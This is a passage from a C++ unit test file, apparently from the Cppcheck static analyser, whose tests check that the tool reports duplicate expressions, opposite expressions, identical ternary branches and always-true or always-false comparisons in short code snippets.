[knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n 